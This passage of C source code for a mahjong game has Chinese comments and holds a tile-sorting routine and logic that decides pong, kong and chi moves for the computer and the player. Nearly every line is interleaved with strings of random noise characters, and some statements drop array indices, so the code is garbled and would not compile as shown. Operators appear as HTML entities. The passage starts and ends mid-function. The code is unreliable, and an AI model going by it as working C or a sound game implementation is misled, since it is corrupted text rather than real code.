computer.pp[n].number=computer.pp[j+1].number;( j, L. p( m/ m8 K! [4 g2 g7 s  P
computer.pp[j+1].number=u;
: r  W4 K. [9 s2 \0 x}( V+ m0 L. @4 v1 E
}" O% d. c0 Z3 P; |9 K( k
}6 U8 P( S, {9 d% X3 G  \7 t
void melipai()
) e9 d. n8 x% c6 F- }7 _{ int n,j,u;
0 x+ L2 Y3 H! y: L/ k" R0 u) x0 a/ v# }int *lingshi;# J6 o- A) B& |" [& g/ U( a
for(n=0;n&lt;me.m;n++)
; i( T! u4 K/ O# i1 Gfor(j=n;j&lt;me.m;j++)
( K% i% G4 N  e; z' y( y! [) T; m{
1 w: P" d( q! J7 Pif(me.pp[n].number&gt;me.pp[j+1].number)( V" s* E* t3 E" p
{
2 I6 t& z* S7 b7 Hlingshi=me.pp[n].k;* b& c9 Y) Z# J; y
me.pp[n].k=me.pp[j+1].k;4 d8 \) U4 {" g! ~
me.pp[j+1].k=lingshi;- J: i5 z9 a; U; V6 L1 _
u=me.pp[n].oneorfour;
0 G, V2 s9 ~% Q/ T! R0 M+ }" ime.pp[n].oneorfour=me.pp[j+1].oneorfour;
+ L+ k# ]  h  E2 ]1 H3 [& o" Y- @5 Ime.pp[j+1].oneorfour=u;
; F  j8 w0 k1 v8 Y5 \5 au=me.pp[n].number;  P5 U6 q: \4 ], }4 q# [
me.pp[n].number=me.pp[j+1].number;
1 o$ m& ~* [$ H1 V  L; Y2 Tme.pp[j+1].number=u;
0 l& g. [$ K6 t- C9 C/ o}1 y8 w3 y' l$ p% Y, v) q, Y6 e+ a
else
+ w* _& I* {6 K/ d* Cif(me.pp[n].number==me.pp[j+1].number)( @6 X4 e/ @( t. E
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)  |& [% d& s# f9 v
{
4 L) R# z) @% P- y  T/ U& Q2 klingshi=me.pp[n].k;
8 c* N0 _* U; L$ ]2 }- k0 T( g% H& v4 lme.pp[n].k=me.pp[j+1].k;
- W8 y$ w5 u; V" ~me.pp[j+1].k=lingshi;
1 m3 F+ C5 A9 _9 o) d7 D5 n7 M. M( {u=me.pp[n].oneorfour;7 e0 d# B8 T, i; q, Q+ }- J
me.pp[n].oneorfour=me.pp[j+1].oneorfour;* j6 q/ D1 m1 i; k2 V
me.pp[j+1].oneorfour=u;
+ n/ S' o- e2 H4 ~" j6 xu=me.pp[n].number;
+ Q$ x1 S  U0 G; K5 B2 F/ Eme.pp[n].number=me.pp[j+1].number;# p4 C5 y% Y8 t1 P9 s" ]& H
me.pp[j+1].number=u;4 ]& ^4 U7 G7 B+ [
}6 j) z! a! M+ ]# e
}
6 O- \& j3 \3 V  H( k3 T}- v" s5 M  j6 w" S
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/4 \( f0 v# H8 e, k* Y% c0 t
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;( S5 \0 ]+ g/ `$ e7 y; b
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
4 W( L" H4 i( ?+ x9 N4 s5 _! H{
5 B1 S# G# H4 ^5 p8 Nlogo=1;% v6 m( \7 q+ R' f
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
( I* @7 r( E2 m$ p: [logoo=1;
5 F, L5 o; N7 ]else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)8 e( ]3 D- C% t7 D5 m- S& i
logoo=2;
: K5 m) d* x% C" {' _. @* eelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
, A! O2 \* }4 A* Jlogoo=3;: r5 m0 l4 K/ O  e3 S7 B4 P
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
' j/ {8 J$ o% A& {logoo=4;
! U$ w) U* @  h4 ~+ ^! Velse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
* p7 `+ O% F1 H9 Slogoo=5;3 w! p. Y# u) d; a9 g: w
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
% o* V+ K7 f2 R" u2 \" Glogoo=6;
' @+ O; k, Q2 l1 f5 aelse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)1 ]( P% K5 J3 Y8 O* w
logoo=7;
0 \2 Y+ B, V; u3 e8 P6 felse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28); [9 Q# }8 E5 e( e
logoo=8;
3 c% V% ?% b$ ]: Q$ u) Helse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
' l$ ^0 q' O4 b, ^$ Z- z/ Blogoo=9;
4 u. {. M8 ^$ O- u) R9 q$ W; X}
) D4 Y- y* v/ [else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
0 F* Y5 q$ n* s9 \9 t6 q{
5 q1 {& ?/ e2 x* Z, ]logo=2;6 V2 F' d9 K( H3 Q7 |5 c& q
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
1 _9 k/ r  K2 c4 [) {logoo=1;
& i8 C0 s6 E3 u; R+ celse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
4 R: ?5 p0 E( V+ n9 M  V) Nlogoo=2;
5 L; o( Z- {, ~$ K. ]& T1 [else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)% m) e. e" g! T* J' Z4 ]! _
logoo=3;  H$ Z9 S; b; G. D
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
% `- {' [( w- K  c4 e0 rlogoo=4;+ s3 b& x4 `  p
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
6 k4 Q; C7 ^+ |8 W' Ologoo=5;
3 B1 f6 _' o- }else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
( J" }: s* w4 m; b0 hlogoo=6;
7 E' ^) h0 y, _5 Qelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
0 u% Q& u  Q( c1 Qlogoo=7;! v- b0 F4 T& W% H5 Y; ^
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)) ^1 R) s- @) C6 W
logoo=8;, N7 A. j2 j1 a. e# t* m8 k
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)* u% H. n8 q: f, }% D( y
logoo=9;- B2 d( _; ?( c6 }
}
& T# s6 j& T' J: Belse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)1 r1 r- U* P5 K/ \: B: ~+ U
{
/ h9 `9 s! l5 `6 P2 clogo=3;" e9 j: O0 w  y
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)7 s& F( x  {& F8 S* X
logoo=1;
' [+ f7 _( s& ^+ O; {else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76): F8 o8 a3 R# ^' }
logoo=2;$ N# e/ E8 S9 m9 ?
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)" x2 K" U( g: T) e9 e9 Y# H$ n
logoo=3;
* g* u, s/ e8 J0 ?( Z7 ]) G. ~# j( Melse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84), h. @6 H9 W. `9 ^! a1 l
logoo=4;
( t* {3 }! Q9 yelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
3 ]+ }+ Y6 Z/ f% ylogoo=5;
, e6 Z  c& z. T9 i% |) Pelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92); z/ y, E" S( U% t+ p; k2 D0 b
logoo=6;
$ j, c( a: |) p( Telse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
2 @  ~$ m7 N# z6 _; p# j% x6 f" [& \logoo=7;, f) ]+ N% O8 Q) x4 W" i: F# J
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)" D( H( [6 ~1 ?" g$ Y- `
logoo=8;/ [5 W0 ~; i. y& l$ N; s% X# g' _
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)* y/ `, U2 m! o) ^/ d# u+ |
logoo=9;0 F7 k% e1 ~* y5 I  ?/ _
}
2 J6 _5 @( w" Melse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
" \2 W/ J% c6 |: ^1 \" I, S{( n6 j* t* s/ f  a* {' k3 W* @
logo=4;* `6 G& _4 U  d; c2 _( \
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108): W+ }7 _( G( i2 O3 f
logoo=1;
9 c+ A. X, w( m- T: U8 k) Delse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)1 \+ i; V# U8 c8 c" R' X, V
logoo=2;1 ?2 H) U$ J# c2 N
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)( U. Y& R! e2 G8 h6 E/ w, W4 e0 d, f
logoo=3;6 r! Z7 A8 ?1 P7 f) N3 t# V. j# l
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120). ]# }, {$ Y8 S
logoo=4;! O9 {6 q8 L5 q
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124). w1 \& w1 O0 v& E" |0 `  ]% x
logoo=5;4 U, }$ X: P" D! F
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
/ t2 g7 w5 h; {; alogoo=6;4 U; W8 j' |5 m- k3 n
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)( h1 {% }- a- K9 x# ]
logoo=7;0 }; c( u$ S. ], E
}! O+ \3 u& U$ \  q/ o2 e, d
while(b&lt;=computer.m)
5 Q/ J4 @7 D2 Y{8 a/ s$ {  C1 Y
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/3 I- B6 N" `9 m5 R. ]
{. Z) @& }( s0 B" y) h6 o* A
lg=1;) D/ i6 j+ d" h4 i0 d+ |& F/ R
computer.pp.d[0]=1;
) {1 q: F1 v# Y) ]2 sif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
( m! @% h2 G0 u5 I/ L" T" j# a" N{
. Z7 r& |# @; A/ S- N( X' Rlgg=1;
! Y4 a5 c% {6 `  J# {$ ucomputer.pp.d[1]=1;
0 `4 i( s/ m$ ~- @' h}8 R! O" Y  W( `- n& O
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
& d6 I& Y! g+ [/ n5 s: r{% T/ t  v' u/ G2 L) V# i7 k  h
lgg=2;  M% i0 Q( i. N" Y
computer.pp.d[1]=2;
3 W8 y# Y, j  _}3 x0 z1 d: r: V/ p8 ~9 d
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
! k$ B# `- X5 ~6 x9 x0 {( X{
+ ~9 J* G  @2 h% A9 R7 H% Mlgg=3;
, o$ B4 _& [0 W9 \( ~+ Q, i7 G2 jcomputer.pp.d[1]=3;  y" U. o8 X% ]! z& I, ?+ n
}
) E! r* P9 i, r! J0 Y. E3 felse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
6 w0 e; W! o- m4 v! U{
0 O# N- p$ E& i2 Q7 m: D4 ^% u3 algg=4;% c. E8 B" W+ c' P! J
computer.pp.d[1]=4;
$ Y9 I- N* O) w3 g1 N7 s% [}
: O* I" f5 N& Oelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
9 V. p7 f  J2 t+ k' A8 L) C+ k{* }4 _) l5 i4 p: |5 o) S* J
lgg=5;* e. Z3 P, S6 A6 ]) a
computer.pp.d[1]=5;
5 K' k6 F  _4 l/ o' _- Q& N}( C7 f' `- b: n
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
) Q% l! I+ u$ k7 [{
: ^$ Z5 S$ m. D9 f- E: q' Glgg=6;' x3 L1 n7 H" ~0 P, B6 l) J
computer.pp.d[1]=6;3 P0 |- o" P) m/ i
}
; v" A# v5 j0 H. j- r/ J: Oelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
. j" ^, i0 }% ~1 `{
# A! `5 Q) H/ U% Ilgg=7;2 l' u3 {" x5 J
computer.pp.d[1]=7;
" z8 F; v: W6 y& K, I0 A}1 O& S, K( Z' O' a3 v* f
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
# B5 Y  F% u7 [0 D% `4 T/ Z{
. N' M3 [3 O$ Ylgg=8;$ ?: {6 j/ \9 \/ p) M
computer.pp.d[1]=8;% L; k# p- l: o5 {/ T
}
  C: ~6 Y8 `8 K1 d0 selse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
' b- g' ~1 H1 x" R- H% @! I) G/ @{- z% _" j& s, p- u3 V7 ]
lgg=9;
) C, A3 }  |  n4 e& O- Y2 m/ ]computer.pp.d[1]=9;6 p0 O! ]% n( o9 \
}
9 u  [; O! `& \% y( h8 X}
2 N- b0 {+ {% g2 celse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
0 S& K+ V! m8 V; L8 P3 E{) z/ P4 Z- m& j7 f+ |2 |
lg=2;
+ i* ?$ W! l5 Y% j- t3 P2 Dcomputer.pp.d[0]=2;
, [4 a  F" _' L; f* aif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)" o3 V5 Q* [, [# h; b) q% z/ |# v
{4 ^" u3 o, k) \
lgg=1;
5 a+ X5 ?. r9 _4 c, lcomputer.pp.d[1]=1;& p1 _% S. R3 w
}0 i& @7 ~( G/ u3 _4 R. g5 o% u
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
! \8 F! \+ l9 F. }2 Y0 `5 R) k{" H3 a/ w9 C; N6 R  [$ O
lgg=2;
+ G' Z, J% V5 o; t1 y3 {computer.pp.d[1]=2;' q9 n' `6 [, B/ }
}9 a  D2 d( E3 z" M  t' z
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44): t% H! _9 L3 ~7 a$ P; `/ l5 M
{
( f3 _- A9 {2 slgg=3;
- [+ `$ x' \' C) h4 V: z5 ?+ ncomputer.pp.d[1]=3;
0 Q2 @, g) z8 S}
( ~# L& s' N2 H% Welse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
* ]: J; I( c1 F& q& t+ A{8 X* [$ _6 B; U7 X/ G) C4 J3 H) Z
lgg=4;
3 ?  t6 n& \) d5 i4 b/ xcomputer.pp.d[1]=4;$ s9 X6 p* d& g: r# @
}+ w% g3 ]+ I& |! d1 Z* m
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52), p9 X! R$ ]  a+ K6 L
{
' N  A# Y" i: e( ?5 Vlgg=5;
4 b$ _2 E. {; F8 J9 c$ Wcomputer.pp.d[1]=5;
6 z) t1 B2 V) h% o}& H" P& Z3 Y4 {6 b
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
& g. j; A+ G2 y8 k{9 `% K! y( R) e" n5 U9 {
lgg=6;0 M% A' n4 U8 r9 e
computer.pp.d[1]=6;
3 e6 T) @& F8 v% J3 U/ T$ k, u}! e  |/ t6 h( e# {$ e: e
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
$ G& ?* X; u$ L1 b8 C{; L$ f' M/ z' W! ?& G; Z
lgg=7;6 C7 h- l5 o7 j  \
computer.pp.d[1]=7;
7 M/ x' W" A+ p4 T}/ m% E. {, E# [
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)/ {7 ]3 k6 a) x$ u9 P+ v
{
( r- V5 `/ u) L/ K7 z3 ~lgg=8;! j- ~! n: C4 V4 ^% B1 X0 G
computer.pp.d[1]=8;
3 E( b' X/ z# _3 t& l" v  d}
) ~4 ?, p( F$ i( x& U# Velse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)  y2 F7 G$ C# n
{- j" f: e! C- y! {# c! @
lgg=9;
  P5 x+ m" N8 h+ q3 Z# X, z7 W1 c& Ecomputer.pp.d[1]=9;
( ~! o; S% z8 @& A/ X/ ?: }% y0 R}/ N2 p, Y7 }/ K' I
}
- e/ j3 ], V- Q, E2 Q5 ?. oelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
' g/ Z( S, m& n8 ]8 J+ P{
. c: w  K' O" d! k% a' ^lg=3;
2 N6 z8 Y4 n7 E- l9 ~computer.pp.d[0]=3;
5 o$ t  n2 d" U& [" Rif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)8 F, ^4 y+ G: C! X- X
{
& t  D1 R9 I* F5 blgg=1;" k! I2 `: |! j: R6 O! @8 a9 |
computer.pp.d[1]=1;& D, B" B' s3 r, P# L- {& D
}3 R8 W) f0 J1 U5 x* B2 O: h- R
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)+ [! i4 {5 o; y' @
{4 _) x  t2 y0 i3 Q
lgg=2;
& q7 e* ~9 i9 m4 D) C$ Zcomputer.pp.d[1]=2;  x# C$ r$ }4 d3 [- y7 e$ G
}  N: g9 e4 J% U
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
/ Z. o* T% n- o{! U! U- n- E. z1 A, D# f8 Y, @
lgg=3;7 C% K* u) B5 ^( P7 ~6 D
computer.pp.d[1]=3;6 w7 g7 l& ^/ r4 w7 y: G# p5 @" m
}# @4 f8 h* c6 `, k* E" y. y
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ T" ~$ W* u& T/ m{; [6 l' i. {6 x, j
lgg=4;
2 h2 C' ~" j9 _+ r' U0 ^computer.pp.d[1]=4;# e4 p6 J: @2 D5 J; ?. R
}9 w- C6 I6 c) I; s
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)0 `% `: U) u. L; q" X" g
{
" t9 J, z, }* V' V0 `lgg=5;& O5 a+ ^7 v$ d
computer.pp.d[1]=5;
* M/ |* X3 I" @! }, q! ~0 b}
8 S$ p3 B" r  `9 r. Helse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
4 y% L7 l  i* E5 W6 t{5 U3 C5 x! N/ m3 X) A8 u. g: B
lgg=6;. w$ _! O" `. j3 C
computer.pp.d[1]=6;- K1 V4 W$ j5 ^+ f! l! Z
}9 e' }& W, N% S( \; |/ @
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
9 K" u/ H/ q1 \. E; _{$ |0 D( a( A, O- p) e% w
lgg=7;
$ |% `3 U3 s: h( ~/ Y& _8 gcomputer.pp.d[1]=7;
+ S2 y- v% u/ k+ Q}
; T+ N& g' P  @else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)3 h, y& p- z6 |9 A: |9 O# y
{
7 p' B- e- z  E) u& I( Rlgg=8;% V( q/ n4 \( N
computer.pp.d[1]=8;% t1 q6 @: \# G$ m! c
}& Q! T* E8 c( H8 L  X0 W7 j7 Z1 e
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
) S' X' V1 \8 m  D4 d) T{% o- L& t& V+ f0 a
lgg=9;. ]# W7 }4 F- P; ]4 J+ \
computer.pp.d[1]=9;& Z; j% L- T+ ~) X; R
}
5 a$ z9 t8 Y# Y8 x3 n$ E" b9 U}& w! m& t" o: f8 ?& h( `
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
0 h% B# r& t; D/ o5 F{
8 B' {! W: k* a  D$ V% glg=4;9 ]( h# l. r+ x! _
computer.pp.d[0]=4;# m3 ]5 N: }% D- B2 T* S( X
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
$ W/ Y2 F9 W+ V5 V9 @' }$ k{/ m) c1 R4 S9 K: I
lgg=1;0 K9 L1 u- o# c* X: U3 t( Z( ^0 y
computer.pp.d[1]=1;
& m: ^* P. t8 c4 a7 ^; q; V}
5 x0 C/ i/ B0 j! L4 S2 [1 M- \else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
4 P- |4 \: G" p( k" A" m: S{2 k& _2 T1 ~. m1 ?- x
lgg=2;
) m+ R9 w) [6 q: s' Jcomputer.pp.d[1]=2;
0 h5 ~. ]0 B4 m0 [( _}
6 x' K6 s& v2 B5 Pelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
6 A% L# y. Z# z9 U1 E{
5 U) P2 l5 M4 b2 |lgg=3;( D) z3 F# r, }, r4 a( x
computer.pp.d[1]=3;" s8 x" G' |3 `" u
}
3 j- c/ |  D/ W' g; velse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
9 |/ p, g: c% C7 ]+ L{
5 Y/ a& g* Z' B/ I6 v( nlgg=4;8 F- g  e/ u# f$ k5 T3 o1 r; U
computer.pp.d[1]=4;
" g3 C) b  W  u* [4 R6 }2 i}
- }% N( w& Z- J; ]( Ielse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
  F  p# T! l$ r& O{* m! i  T' u; X' N
lgg=5;3 l  O3 C2 d8 D5 t8 i- r1 S
computer.pp.d[1]=5;
5 y* `/ r6 u9 q" l9 Y' F% `* |}
; M% R5 s) F7 W8 R- Velse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128); R' E  i& v# i
{
. A4 @3 u& F  k. J; c# _) Q7 jlgg=6;0 {- G/ |! E/ J. b
computer.pp.d[1]=6;
$ [0 k' C5 \. W" x7 k3 S' k}8 r7 J1 C: P" g
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132); J9 M4 l6 |, ~$ `( t2 _3 e7 e
{; u% s" k- T* N" ^8 G7 O4 ~
lgg=7;
. b( [1 C- X1 q. N4 S7 |& P, Ycomputer.pp.d[1]=7;8 l) N) V7 t( K$ p2 L) j0 F+ n: B5 k
}2 ^0 k3 N! h# a" N5 d
}
: G! z3 l1 l. a! M
# [5 ~, N, D4 c9 V" u6 fif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/9 g! I( g4 Y+ S) B( }
if(logoo==lgg)
2 M' B7 P. b7 ^2 {( mpg++;6 T; E4 H( Y. T0 b1 C7 @
ch.lg=lg; /*保存电脑手里的每张牌的信息*// [5 {, L7 c0 u* m! o
ch.lgg=lgg;
3 K, }- i+ ]3 I! O; G1 plg=0;' N* y8 |, u# q, W
lgg=0;
3 Y9 V6 i* G( r, A$ wb++;
$ `% A- @: X+ q3 R2 a; u; _}
! W2 a0 Z! x: B1 Xif(pg==2) /*乓*/
( r1 D7 M- X1 U- z  m% e{
$ y4 s- {# @& {) ?; i" k! K' C+ }
# e1 j! k" b0 q  _$ d' Ysing=1;
  _$ p' j2 W+ \: \6 I; B+ bb=computer.m;: Z; T6 t0 a" Q6 a) x
while(b!=-1)
9 H1 D: V0 ~" E: b{2 F5 h- d& `6 p) {) j4 G0 F
if(strcmp(me.pp[c].k,computer.pp.k)==0)
8 j7 Y' S3 I5 h% b7 ]* vcomputer.pp.p=1;
* ]( R0 ~, ^$ Z0 d" q* |4 `  Y) k/ X2 l4 J6 R
b--;
: }7 |, J" n! c( N  E1 y4 q( A) o}4 j/ A2 v% }- n, e
}5 ~. q0 D/ S% R, G
if(pg==3) /*杠*/
4 D" S5 X- B  a% m: d{: N, T- f6 L+ w0 X2 H
) p$ S6 W# f. }
sing=2;
4 `2 @! j4 d7 V& p" e' v- }b=computer.m;
( P  |# v* R" q9 dwhile(b!=-1)
; n2 K* v$ ^  a, P{
" R; g$ ^) j  w9 sif(strcmp(me.pp[c].k,computer.pp.k)==0)4 l: L# s" q. X# t  E2 q2 R- w
computer.pp.g=1;+ m7 U3 V6 s) u" X( L
b--;
( o. e% F) t1 ^) q- E& _  j8 w}
4 Y; v) f% `9 f9 }" ?}
+ H8 j& K- O% L+ w7 b2 ~f=0;
# a9 e. U! ?: v+ W4 L% Wwhile(f&lt;computer.m) /*吃的判断*/
1 n9 [) G6 z! j  `( t, [) y{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)1 @) ]+ Y+ P( z) m7 z+ j  j
{% a2 M( z/ V5 \" U
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
3 ~0 P( h  M, d5 [# p! L3 t+ cif(ch[f].lgg-logoo==1)' I* d1 ^4 _8 z
{
" p' I$ G: E' S5 Y- ]gp++;% `) q* U$ X4 w# t- o
computer.pp[f].c=1;
# ~+ h& s2 r: ?' ?; mcomputer.pp[f+1].c=1;% s; B& e  _! \/ A) C$ I
}
1 S: N3 R* Z7 Y8 \7 c1 p: f5 O  M# {if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
( ^" R6 T, W; ~0 O+ {if(ch[f+1].lgg-logoo==-1): I* m/ ^% o3 F
{
) r; }, }. ]6 v" p2 H' jgp++;
7 p, ]3 B+ M: s& {9 Gcomputer.pp[f].c=1;
5 z" ^/ b7 \6 W2 Icomputer.pp[f+1].c=1;) D% p; k4 d2 j+ i: O6 v# d+ d) `
}
7 |4 Z0 \" Q) _& k1 M0 |if(ch[f].lgg-logoo==-1) /*中吃*/7 I3 @7 j& t( E1 Q+ A
if(ch[f+1].lgg-logoo==1)
0 K% L( H$ n8 R* o{8 G) T+ P9 C2 c. s, p: }
gp++;$ \7 A; I$ v; u& G* I# q. e
computer.pp[f].c=1;; r: e% Q+ s7 c, X5 w" f0 d
computer.pp[f+1].c=1;
/ Z& w8 K# C/ M! j- F}; p- W( a- d6 `6 \2 o* f
if(gp==1)
, B& S7 L" o6 H! _break;/ A+ p& O2 H0 L; l* o
}
1 M) p6 ?; @- _  t) J/ ~2 V5 |' ^f++;
9 g: n5 d- N0 B* v/ o( u}
# l6 j! D& [* L4 K% S7 `& ]$ Iif(gp==1)! h+ [% T6 A4 q! ~' X
{sing=7;/ m* g, W/ u; p
/ N. X/ [8 C1 r; F. ^
}3 V2 }$ d. [' a/ c# H1 X% A7 \2 d
pg=0;: r* i! @1 U5 V
gp=0;
" U$ F6 B1 W/ X$ Jb=0;7 L( X& Q) {( ^' o- [9 A! J7 X
}. e! t! P- J# A. s) `1 D9 d3 `
void rgznme(int c) /*本程序涵数的核心针对我的牌*/4 x  L" Q. O+ A
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;; p5 |. p7 }2 b
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
! }8 F1 G9 G" o- L$ P{& ?. ^  {; ^) V) Q- I
logo=1;
# s$ Q/ e: C& c5 C/ ]4 P; Iif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)* L# e# `7 {2 {* d( W4 J3 v9 N
logoo=1;5 \: M% {- `% G# a
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
6 K3 c% M3 ~* f! B8 I1 F4 Qlogoo=2;
/ e3 F) r- F( j/ G! _8 J* ]else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8): w$ X, Y" \" R7 @: ~
logoo=3;2 @9 \' o4 q- s
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)9 O. {8 K( O9 e# t) C- V" L
logoo=4;
$ p( Z( V: \# T; B; u4 o2 felse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
+ p" N" s9 ^0 S( ^& I  N/ M( plogoo=5;
3 S1 R; p, w7 C' j) |else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
) z) P$ L- }- g& J  ]! ?logoo=6;/ _( x& W4 u& y( M' w7 T
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24); C4 L$ \9 r1 W- \
logoo=7;
0 Z# m$ z, X& t5 e. Welse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)( n4 e) ~% c- |
logoo=8;
8 A$ T) e( G% ]; |, i5 ?% Qelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)" p5 c6 ^! |" y0 Y5 ]2 P
logoo=9;
9 i+ n- {) T8 ?}
  H0 y) Z( d4 o- u# ]# Kelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)" ~: R3 T5 A7 G
{
3 f, T/ @& }' f  j6 A8 b; Q+ Q' llogo=2;
; N' |3 [3 h. h; k( A% j) s% Mif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)6 X+ R$ q( ]" v, [$ p! i4 ?
logoo=1;" L$ \! F3 Y* p
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)3 Y3 E, r9 w. l. @% m
logoo=2;5 M$ G- S- o( i3 R
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)9 E8 j1 }0 X! }$ ~- e. j. T
logoo=3;
2 C) l9 I- z/ C* P" yelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
3 l- q6 F; Q( Mlogoo=4;
